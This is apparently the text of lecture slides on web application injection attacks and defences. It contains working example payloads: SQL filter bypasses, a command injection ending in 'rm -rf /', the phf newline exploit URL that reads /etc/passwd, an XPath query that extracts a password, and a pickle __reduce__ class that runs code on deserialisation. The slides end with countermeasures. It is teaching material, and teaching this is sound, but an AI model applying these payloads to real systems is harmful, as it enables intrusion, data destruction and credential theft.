Suppose that the application does not return error messages and does not return the result of query to the browser
Technique: output results to “out-of-band” channel
In MySQL (if appropriate privilegs):
SELECT * INTO OUTFILE '/var/www/data.csv' FROM users;
Filter function is used by the programmer to “sanitize” user input:
Sometime it is possible to bypass such filters…
Filter: remove tick (')
Goal:
substring(user(),1,1) = 'r'
Bypass:
substring(user(), 1, 1) = char(0x72)
Filter: comment symbol is removed
Goal:
' or 1 = 1 #
Bypass:
' or 'a' = 'a
Filter: remove SQL keywords (SELECT, etc.)
Bypass techniques:
SeLecT
SEL/**/ECT
Filter: whitespaces are removed
Goal:
SELECT NOW()
Bypass:
SELECT/**/NOW()
Filter: tautology are detected and removed
Goal:
1 = 1
Bypass:
RAND() > 0.0001 (quasi-tautology)
Lots more:
Eduardo Vela and David Lindsay, Our Favorite XSS Filters/IDS and how to Attack Them, Blackhat 2009
They show how to bypass filters in ModSecurity, PHPIDS, IE8, and NoScript
We want to leverage SQL injection vulnerability to gain access to underlying system
LOAD_FILE
SELECT … INTO DUMPFILE
xp_cmdshell)
Inspecting and manipulating browser requests:
Scripting the browser:
Vulnerability scanners:
Example of running skipfish:
skipfish -W /tmp/words.txt -o /tmp/skipfish-output/ \
http://172.16.48.139/wordpress-3.1/
Application constructs shell command using user-provided input without proper sanitization
The attacker can execute shell commands on the targeted system with the privileges of the vulnerable application
Two variants:
exec("nslookup $input")
exec($input)
Vulnerable DNS lookup:
$hostname = $_POST["hostname"];
$command = '/usr/bin/nslookup ' . $hostname;
system($command);
google.com; rm -rf /
Vulnerability in phf: CVE-1999-0067
Sanitization routine invoked before passing arguments to popen:
void escape_shell_cmd(char *cmd) {
register int x,y,l;
l=strlen(cmd);
for(x=0;cmd[x];x++) {
if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){
for(y=l+1;y>x;y--)
cmd[y] = cmd[y-1];
l++; /* length has been increased */
cmd[x] = '\\';
x++; /* skip the character */
}
}
}
ftp://ftp.ncsa.uiuc.edu/Web/httpd/Unix/ncsa_httpd/cgi/cgi-src/phf.c
What about \n?
phf?Qalias=%0A/bin/cat%20/etc/passwd
Application constructs XPATH query using user-provided input without proper sanitization
The attacker can discover the structure of the underlying XML data or access data that he should not have access to
Unlike SQL, XPATH is standard
→ no need to account for different backends
<app>
<conf>
<db>
<password>secret</password>
</db>
</conf>
<route prefix="/users">
<target>/var/www/app/users/list.jsp</target>
</route>
</app>
route = "//route/[@prefix='" + request.getRequestURI() + "']"
/users/']/../conf/db/password['foo
Process of converting object/data structure into a sequence of bytes in order to store it or transmit it
Goal: reconstruct an equivalent object/structure in another program context
Most languages have libraries to implement serialization
import pickle
class Foo(object):
def __init__(self):
self.a = 42
foo = Foo()
with open("foo.pkl", "wb") as f:
pickle.dump(foo, f)
foo.pkl:
28 69 5f 5f 6d 61 69 6e 5f 5f 0a 46 6f 6f 0a 70 |(i__main__.Foo.p| 30 0a 28 64 70 31 0a 53 27 61 27 0a 70 32 0a 49 |0.(dp1.S'a'.p2.I| 34 32 0a 73 62 2e |42.sb.| 00000026
import pickle
with open("foo.pkl", "rb") as f:
foo = pickle.load(f)
print foo.a
Suppose you have an application that receives as input from its users serialized objects and “blindly” deserializes them
Is there a vulnerability here?
Can we serialize an object such that, after deserialization, it forces the execution of code of our choice?
Enter the __reduce__ method
If provided, at pickling time __reduce__() will be called with no arguments, and it must return either a string or a tuple
The contents of this tuple are:
A callable object that will be called to create the initial version of the object
A tuple of arguments for the callable object.
class Mal(object):
def __reduce__(self):
return (subprocess.Popen, ("/bin/ls",))
Through the unserialize method:
If the variable being unserialized is an object, after successfully reconstructing the object PHP will automatically attempt to call the __wakeup() member function (if it exists).
and __destruct() when there are no other references to an object
The problem then is finding “useful” classes… Read more in Stefan Esser's presentation
RubyOnRails allows accepts formatted parameters (in addition to regular GET/POST parameters)
In particular, it accepts typed XML parameters
<?xml version="1.0" encoding="UTF-8"?>
<foo type="integer">1</foo>
<bar type="string">bar</bar>
Supported types include integer, symbol, string, date, time, and...yaml
YAML allows to specify arbitrary ruby objects via the !ruby/hash and !ruby/object syntax
The exploit then consists of finding a class such that, as part of its initializing, leads to the execution of arbitrary code, e.g., via module_eval
Read the following for the details
Essence of injection attacks: user-provided input changes the structure and semantics of the query
From W. Halfond and A. Orso, Preventing SQL Injection Attacks Using AMNESIA, ICSE 2006.
Did you read it, right?
Separate variable parameters (“out-of-band”)
import MySQLdb
conn = MySQLdb.connect()
c = conn.cursor()
c.execute("SELECT * FROM users WHERE user = %s AND pass = %s", (
input_user, input_pass))
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
if (argc <= 1) {
fprintf(stderr, "Usage: %s ARG\n", argv[0]);
return 1;
}
execl("/bin/ls", "ls", argv[1], NULL);
return 0;
}
Never trust user input
Ensure data is valid and good
Use whitelisting whenever possible
Use standard, built-in functions to perform sanitization (strip_tags, htmlentities, etc.)
Set of techniques to automatically analyze a program without executing it
Useful to answer questions such as:
x have at line 23?
Several different techniques:
Limitations:
False positives and false negatives
To know more, read
B. Chess and J. West, Secure Programming with Static Analysis
Data objects partitioned into “tainted” and “untainted”
Detection policy: “tainted objects should not reach certain program locations”
Ingredients:
Complex queries built dynamically
Modeling sanitization functions
Accurately tracking inputs spanning multiple application modules and technologies (e.g., input from user stored into DB, read from DB and then used in query)
Tools that monitor the execution of system to identify when it's under attack
Detection strategies: